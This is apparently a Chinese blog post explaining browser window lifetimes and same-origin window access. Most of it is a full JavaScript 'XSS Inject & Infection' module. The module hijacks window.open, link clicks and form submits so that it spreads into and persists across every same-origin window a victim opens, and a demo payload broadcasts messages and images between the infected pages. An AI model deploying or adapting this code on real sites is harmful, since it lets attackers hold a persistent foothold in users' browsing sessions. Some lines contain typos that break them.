首先需要了解一下几点:
1.浏览器中Javascript变量的生命周期
Javascript变量的生命周期并不是你声明这个变量个窗口闭就被回收,只要有引用就会一直持续到浏览器关闭。
2.window对象下方法会在在窗口被关闭时清掉,比如:
window.setTimeout(function(){alert('Hello') },5000)
如果窗口被关掉了,那么这个回调是不会执行的[事实上,所有window所有的NativeCode都没办法用了]。
3.window.opener可以获取打开当前页面的窗口
4.window.open打开的窗口只要同域,我们是可以操作的[拦截A标签,然后用window.open打开这个页面就好啦]
5.跨域的窗口无法操作,尝试修改document.domain直接异常
6.所有代码测试于Chrome浏览器,未测试其他浏览器
下面是代码实现,点击按钮可以立即体验:
点我开启XSS
/*** Created by AepKill on 2015-7-1 10:53:17* XSS Inject & Infection*/ var XSS=(function(){var MODULE_NAME='$AePKiLL_XSS_MODULE_1_0_0';var TOOL={extend:function(){if (arguments.length<=0) return {};var result={};for(var i= 0,l=arguments.length;i<l;i++){for (var j in arguments[i]){result[j]=arguments[i][j];}}return result;},//RunCodeinjectCode:function(win,code,args,self){if (! win.window === win){return false;}try {win.Function('(' + code + ').apply(this,arguments)').apply(self||win, args||[]);}catch(e){}return true;},dispatchMessage:function(winList,args){winList.getWinList().forEach(function(distWin){try{var message=distWin[MODULE_NAME]['Message'];message.dispatch.apply(message,Array.prototype.slice.call(args));}catch(e){}})},sysDispatchMessage:function(winList,args){}};/*Message*/function Message(){//消息var messageList={};//消息订阅this.subscription=function(msg){if (messageList[msg] === undefined ){messageList[msg]=new Array();}Array.prototype.slice.call(arguments,1).forEach(function(e){if (typeof e == "function") messageList[msg].push(e);});};//消息退订this.unsubscribe=function(msg){var msglist=messageList[msg];Array.prototype.slice.call(arguments,1).forEach(function(e){for (var i=0;i<msglist.length;i++){if (msglist[i]==e){msglist.splice(i,1);i--;}}});};//消息派送this.dispatch=function(msg){var args=Array.prototype.slice.call(arguments,1);if (messageList[msg]){messageList[msg].forEach(function(e){e.apply(null,args);})}}}/*End With Message*//*WinList*/function CreateWinList(winList){function WinList(winList){var winList=winList.concat();this.deleteWindow=function(win){for (var i= 0,l=winList.length;i<l;i++){if (win===winList[i]){winList.splice(i,1);break;}}};this.hasWindow=function(win){return winList.indexOf(win)!==-1;};this.addWindow=function(win){if (this.hasWindow(win)) return ;winList.push(win);}this.getWinList=function(){return winList.concat();};this.isEmpty=function(){return winList.length===0;};this.clearCloseWindow=function(){winList.forEach(function(e,i){if (e.closed){winList.splice(i,1);}})}}WinList.prototype=new Message();return Object.freeze(new WinList(winList));}/*End With WinList*//*CoreModule*/function CoreModule(opt,winList,message,TOOL,globalObj){var window=this;var _open=window.open;var MODULE_NAME='$AePKiLL_XSS_MODULE_1_0_0';window[MODULE_NAME]={};var module=window[MODULE_NAME];module['Message']=message;if (module['RunCode'] === undefined) module['RunCode']=false;window.open=function(){var win=_open.apply(this,arguments);if (win){winList.dispatch('windowJoin',win);window['openWin']=win;};return win;};function afterLoad(){module['RunCode']=true;TOOL.injectCode(window,opt.runCode,[winList,window,message,globalObj],opt);window.document.addEventListener('click',function(e){var el= e.target;do{if (el.tagName == 'A'){e.preventDefault();e.stopPropagation();window.open(el.href);break;}el=el.parentNode;}while(el!=document)});window.document.addEventListener('submit', function(e){var name = Math.random().toString();open('', name);var form = e.target;form.target = name;});window.addEventListener("unload", function( event ) {winList.dispatch('windowQuit',window,event);});};window.addEventListener('DOMContentLoaded',function(){if (module['RunCode']===false) afterLoad();});setTimeout(function(){if (module['RunCode']===false) afterLoad();},1000);}/*End With CoreModule*/var defaults={runCode:function(winList,win,message,global){/** winList 当前所有感染窗口的列表* win 执行代码环境的window对象* message 消息队列 可订阅、发送消息* global 全局对象* 说明:runCode在每个窗口都会执行一次* */console.log('汪汪汪------');}}return function(opt){var winList=CreateWinList([]);opt=TOOL.extend(defaults,opt||{});var globalObj=Object.freeze({dispatch:function(){TOOL.dispatchMessage(winList,arguments);},getWinList:function(){return winList.getWinList();},data:{}});winList.subscription('windowJoin',function(win){if (!win.window || win.closed) return ;winList.clearCloseWindow();var message=new Message();TOOL.injectCode(win,CoreModule,[opt,winList,message,TOOL,globalObj],win);globalObj.dispatch('windowJoin',win);winList.addWindow(win);//console.log('JOIN',winList.getWinList().length); });winList.subscription('windowQuit',function(win,event){winList.clearCloseWindow();if (winList.hasWindow(win)){winList.deleteWindow(win);}else{return;}globalObj.dispatch('windowQuit',win);if (!winList.isEmpty()){var hero=winList.getWinList()[0];TOOL.injectCode(hero,function(winList,win){setTimeout(function(){winList.dispatch('windowJoin',win);},500);},[winList,win]);}});//从iframe中往上遍历if (window.top != window.self){var win = window;while (win = win.parent) {}winList.dispatch('windowJoin',win);}else{winList.dispatch('windowJoin',window);}//遍历打开的窗口var temp1=window.opener;while(temp1){winList.dispatch('windowJoin',temp1);temp1=temp1.opener;};}; })();XSS({runCode:function(winList,win,message,global) {var window=win;function code() {var strVar = "";strVar += "";strVar += " <h1 style=\"color: #ccc;text-align: center;height: 30px;line-height: 30px;padding: 5px;margin: 0px;\">XSS Inject<\/h1>";strVar += " <p id='showBox'style=\"color:#fff;height: 298px;width: 580px;margin: 10px;border: 1px solid rgba(88,88,88,0.8);border-radius: 5px;overflow-x:hidden\">";strVar += "";strVar += " <\/p>";strVar += " <form style=\"width: 580px;margin: 10px;\" id=\"form1\">";strVar += " <textarea name=\"content\"style=\"outline: none;height: 60px;width: 70%;resize:none\"><\/textarea>";strVar += " <button style=\"outline: none;height: 60px;width: 20%;margin-left: 2%;vertical-align: top\">广播信息<\/button>";strVar += " <\/form>";var css = "";css += "position:fixed;";css += "z-index:99999999;";css += "left:50%;";css += "top:50%;";css += "height50%;";css += "margin-left:-300px;";css += "margin-top:-225px;";css += "height: 450px;";css += "width: 600px;";css += "border-radius: 10px;";css += "box-shadow:0 0 10px 0 rgba(88,88,88,0.8);";css += "background:rgba(88,88,88,0.8) ";var div=document.createElement('div');div.style.cssText=css;div.innerHTML=strVar;document.body.appendChild(div);var text=document.querySelector('#showBox');function appendText(txt){text.innerHTML+=txt+'<br/>';}document.querySelector('#form1').οnsubmit=function(e){appendText('我说:'+this['content'].value)global.dispatch('Say', window,'['+document.title+'] 说:'+ this['content'].value);e.stopPropagation();e.preventDefault();return false;}appendText('['+document.title+'] 页面被注入了代码');message.subscription('Say',function(win,message){if (win!==window) appendText(message);});message.subscription('windowJoin',function(win){appendText('['+win.document.title+'] 页面被注入了代码');});message.subscription('windowQuit',function(win){appendText('['+win.document.title+'] 页面被关闭了');});var imgList=window.document.querySelectorAll('img');var count=0;var timer=window.setInterval(function(){appendText('我说:我给大家发图片了'+ '<img src="'+ (imgList[count++]).getAttribute('src')+'"/>' )global.dispatch('Say', window,'['+document.title+'] 说:我给大家发图片了'+ '<img src="'+ (imgList[count++]).getAttribute('src')+'"/>' );if (count>=imgList){clearInterval(timer);}},2000);}if (document.body) {code();} else {window.addEventListener('DOMContentLoaded', code);}} });